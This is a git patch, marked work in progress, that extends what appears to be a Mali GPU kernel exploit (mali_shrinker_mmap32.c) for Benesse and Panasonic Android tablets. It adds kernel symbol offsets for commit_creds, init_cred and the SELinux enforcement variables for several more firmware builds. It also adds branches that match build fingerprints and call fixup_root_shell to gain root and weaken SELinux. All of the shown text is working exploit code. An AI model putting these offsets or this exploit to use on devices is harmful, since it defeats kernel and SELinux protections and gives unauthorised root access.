From cd2419fbc65555718e0c176d6f06a6c14aae6b24 Mon Sep 17 00:00:00 2001
From: Syuugo <pub@s1204.me>
Date: Fri, 28 Jun 2024 15:00:49 +0900
Subject: [PATCH] [WIP]: 00

---
 mali_shrinker_mmap32.c | 86 +++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 85 insertions(+), 1 deletion(-)

diff --git a/mali_shrinker_mmap32.c b/mali_shrinker_mmap32.c
index b43f631..7349f4c 100644
--- a/mali_shrinker_mmap32.c
+++ b/mali_shrinker_mmap32.c
@@ -84,10 +84,49 @@ ADD_COMMIT = add x8, x8, #0x(Last 3 digits of COMMIT_CRED)
  * Maintained by Syuugo
  */
 
+// TAB-A05-BD 00.04.000
+#define COMMIT_CREDS_CTX_00_04_000 0x5a120
+#define AVC_DENY_CTX_00_04_000 0x35acc8
+#define SEL_READ_ENFORCE_CTX_00_04_000 0x3653a8
+#define SEL_READ_HANDLE_UNKNOWN_CTX_00_04_000 0x365d80
+#define INIT_CRED_CTX_00_04_000 0x11553f0
+#define SELINUX_ENFORCING_CTX_00_04_000 0x129d9bc
+#define ADD_INIT_CTX_00_04_000 0x910fc000
+#define ADD_COMMIT_CTX_00_04_000 0x91048108
+
+// TAB-A05-BD 00.05.000
+#define COMMIT_CREDS_CTX_00_05_000 0x5a120
+#define AVC_DENY_CTX_00_05_000 0x35acc8
+#define SEL_READ_ENFORCE_CTX_00_05_000 0x3653a8
+#define SEL_READ_HANDLE_UNKNOWN_CTX_00_05_000 0x365d80
+#define INIT_CRED_CTX_00_05_000 0x11553f0
+#define SELINUX_ENFORCING_CTX_00_05_000 0x129d9bc
+#define ADD_INIT_CTX_00_05_000 0x910fc000
+#define ADD_COMMIT_CTX_00_05_000 0x91048108
+
+// TAB-A05-BD 00.08.000
+#define COMMIT_CREDS_CTX_00_08_000 0x5a120
+#define AVC_DENY_CTX_00_08_000 0x35acc8
+#define SEL_READ_ENFORCE_CTX_00_08_000 0x3653a8
+#define SEL_READ_HANDLE_UNKNOWN_CTX_00_08_000 0x365d80
+#define INIT_CRED_CTX_00_08_000 0x11553f0
+#define SELINUX_ENFORCING_CTX_00_08_000 0x129d9bc
+#define ADD_INIT_CTX_00_08_000 0x910fc000
+#define ADD_COMMIT_CTX_00_08_000 0x91048108
+
+// TAB-A05-BD 00.09.000
+#define COMMIT_CREDS_CTX_00_09_000 0x5a120
+#define AVC_DENY_CTX_00_09_000 0x35acc8
+#define SEL_READ_ENFORCE_CTX_00_09_000 0x3653a8
+#define SEL_READ_HANDLE_UNKNOWN_CTX_00_09_000 0x365d80
+#define INIT_CRED_CTX_00_09_000 0x11553f0
+#define SELINUX_ENFORCING_CTX_00_09_000 0x129d9bc
+#define ADD_INIT_CTX_00_09_000 0x910fc000
+#define ADD_COMMIT_CTX_00_09_000 0x91048108
+
 // TAB-A05-BD 01.00.000
 #define COMMIT_CREDS_CTX_01_00_000 0x5a120
 #define AVC_DENY_CTX_01_00_000 0x35acc8
-#define SELINUX_ENFORCING_CTX_01_00_000 0x129d9bc
 #define SEL_READ_ENFORCE_CTX_01_00_000 0x3653a8
 #define SEL_READ_HANDLE_UNKNOWN_CTX_01_00_000 0x365d80
 #define INIT_CRED_CTX_01_00_000 0x11553f0
@@ -125,6 +164,16 @@ ADD_COMMIT = add x8, x8, #0x(Last 3 digits of COMMIT_CRED)
 #define ADD_INIT_CTX_01_11_000 0x910fc000
 #define ADD_COMMIT_CTX_01_11_000 0x91048108
 
+// TAB-A05-BA1 00.03.000
+#define COMMIT_CREDS_CTZ_00_03_000 0x5a120
+#define AVC_DENY_CTZ_00_03_000 0x359c20
+#define SEL_READ_ENFORCE_CTZ_00_03_000 0x364370
+#define SEL_READ_HANDLE_UNKNOWN_CTZ_00_03_000 0x364d48
+#define INIT_CRED_CTZ_00_03_000 0x11653f0
+#define SELINUX_ENFORCING_CTZ_00_03_000 0x12d49bc
+#define ADD_INIT_CTZ_00_03_000 0x910fc000
+#define ADD_COMMIT_CTZ_00_03_000 0x91048108
+
 // TAB-A05-BA1 01.00.000
 #define COMMIT_CREDS_CTZ_01_00_000 0x5a120
 #define AVC_DENY_CTZ_01_00_000 0x359c20
@@ -729,6 +778,34 @@ void select_offset() {
   int len = __system_property_get("ro.build.fingerprint", fingerprint);
   LOG("fingerprint: %s\n", fingerprint);
 
+  if (!strcmp(fingerprint, "benesse/TAB-A05-BD/TAB-A05-BD:9/00.04.000/00.04.000:user/release-keys")) {
+    selinux_enforcing = SELINUX_ENFORCING_CTX_00_04_000;
+    sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_CTX_00_04_000;
+    fixup_root_shell(INIT_CRED_CTX_00_04_000, COMMIT_CREDS_CTX_00_04_000, SEL_READ_HANDLE_UNKNOWN_CTX_00_04_000, ADD_INIT_CTX_00_04_000, ADD_COMMIT_CTX_00_04_000);
+    return;
+  }
+
+  if (!strcmp(fingerprint, "benesse/TAB-A05-BD/TAB-A05-BD:9/00.05.000/00.05.000:user/release-keys")) {
+    selinux_enforcing = SELINUX_ENFORCING_CTX_00_05_000;
+    sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_CTX_00_05_000;
+    fixup_root_shell(INIT_CRED_CTX_00_05_000, COMMIT_CREDS_CTX_00_05_000, SEL_READ_HANDLE_UNKNOWN_CTX_00_05_000, ADD_INIT_CTX_00_05_000, ADD_COMMIT_CTX_00_05_000);
+    return;
+  }
+
+  if (!strcmp(fingerprint, "benesse/TAB-A05-BD/TAB-A05-BD:9/00.08.000/00.08.000:user/release-keys")) {
+    selinux_enforcing = SELINUX_ENFORCING_CTX_00_08_000;
+    sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_CTX_00_08_000;
+    fixup_root_shell(INIT_CRED_CTX_00_08_000, COMMIT_CREDS_CTX_00_08_000, SEL_READ_HANDLE_UNKNOWN_CTX_00_08_000, ADD_INIT_CTX_00_08_000, ADD_COMMIT_CTX_00_08_000);
+    return;
+  }
+
+  if (!strcmp(fingerprint, "benesse/TAB-A05-BD/TAB-A05-BD:9/00.09.000/00.09.000:user/release-keys")) {
+    selinux_enforcing = SELINUX_ENFORCING_CTX_00_09_000;
+    sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_CTX_00_09_000;
+    fixup_root_shell(INIT_CRED_CTX_00_09_000, COMMIT_CREDS_CTX_00_09_000, SEL_READ_HANDLE_UNKNOWN_CTX_00_09_000, ADD_INIT_CTX_00_09_000, ADD_COMMIT_CTX_00_09_000);
+    return;
+  }
+
   if (!strcmp(fingerprint, "benesse/TAB-A05-BD/TAB-A05-BD:9/01.00.000/01.00.000:user/release-keys")) {
     selinux_enforcing = SELINUX_ENFORCING_CTX_01_00_000;
     sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_CTX_01_00_000;
@@ -757,6 +834,13 @@ void select_offset() {
     return;
   }
 
+  if (!strcmp(fingerprint, "Panasonic/TAB-A05-BA1/TAB-A05-BA1:9/00.03.000/00.03.000:user/release-keys")) {
+    selinux_enforcing = SELINUX_ENFORCING_CTZ_00_03_000;
+    sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_CTZ_00_03_000;
+    fixup_root_shell(INIT_CRED_CTZ_00_03_000, COMMIT_CREDS_CTZ_00_03_000, SEL_READ_HANDLE_UNKNOWN_CTZ_00_03_000, ADD_INIT_CTZ_00_03_000, ADD_COMMIT_CTZ_00_03_000);
+    return;
+  }
+
   if (!strcmp(fingerprint, "Panasonic/TAB-A05-BA1/TAB-A05-BA1:9/01.00.000/01.00.000:user/release-keys")) {
     selinux_enforcing = SELINUX_ENFORCING_CTZ_01_00_000;
     sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_CTZ_01_00_000;